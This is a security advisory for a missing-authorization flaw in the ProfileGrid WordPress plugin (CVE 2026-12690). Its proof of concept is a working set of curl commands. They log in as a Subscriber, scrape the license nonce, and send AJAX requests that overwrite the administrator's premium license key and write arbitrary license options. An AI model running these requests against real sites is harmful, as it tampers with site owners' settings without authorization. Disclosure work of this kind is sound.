ProfileGrid < 5.9.9.7 – Subscriber+ Premium License Tampering via Missing Authorization | CVE 2026-12690

Description

The plugin does not perform a capability check on its license management actions, relying only on a nonce that is exposed to any logged-in user, allowing authenticated users with Subscriber-level access and above to overwrite the site's premium license settings.

Proof of Concept

Affected: ProfileGrid <= 5.9.9.5. Requires any authenticated user (Subscriber and above).

Background: the plugin's license-management AJAX actions check only a nonce, and that nonce is
localized into the page for any logged-in user on every wp-admin page, so a Subscriber can read it
and clear the only gate. There is no capability check.

Prerequisites: the site has an activated premium license (so the overwrite is observable). In this PoC
the admin's genuine license is seeded as pg_premium_license_key=GENUINE-LICENSE-AAAA-BBBB-CCCC.

Step 1 - Log in as a plain Subscriber and harvest the live license nonce from any wp-admin page:
curl -k -c sub.txt "https://TARGET/wp-login.php" \
  --data-urlencode log=subscriber --data-urlencode pwd=password \
  --data-urlencode 'wp-submit=Log In' --data-urlencode redirect_to=https://TARGET/wp-admin/profile.php -o /dev/null
NONCE=$(curl -k -b sub.txt "https://TARGET/wp-admin/profile.php" \
  | grep -oE 'pg_admin_license_settings[^<]*' | grep -oE '"nonce":"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{8,}')
# A Subscriber receiving this nonce at all is the core defect.

Step 2 - Overwrite the administrator's genuine premium license (vector 1):
curl -k -b sub.txt "https://TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode action=pg_deactivate_license --data-urlencode nonce="$NONCE" \
  --data-urlencode pg_license_deactivate=1 --data-urlencode pg_license=ATTACKER-WIPED-LICENSE \
  --data-urlencode pg_item_id=0 --data-urlencode pg_item_key=pg_premium
# -> {"success":true,...}

Step 3 - Write an arbitrary namespaced license option (vector 2):
curl -k -b sub.txt "https://TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode action=pg_activate_license --data-urlencode nonce="$NONCE" \
  --data-urlencode pg_license_activate=1 --data-urlencode pg_license=ATTACKER-INJECTED-VALUE \
  --data-urlencode pg_item_id=99999 --data-urlencode pg_item_key=pg_f08poc
# -> {"success":true,...}

Verify:
wp option get pg_premium_license_key   # ATTACKER-WIPED-LICENSE (was GENUINE-LICENSE-AAAA-BBBB-CCCC)
wp option get pg_premium_license_id    # 0 (was 70264)
wp option get pg_f08poc_license_key    # ATTACKER-INJECTED-VALUE (newly created)

Honest-negative (no privilege escalation): the written option name is always <item_key>_license_key /
<item_key>_license_id (the suffix is hardcoded), so the handler cannot be steered to write core options
such as default_role, active_plugins, or users_can_register.
wp option get default_role             # subscriber (unchanged)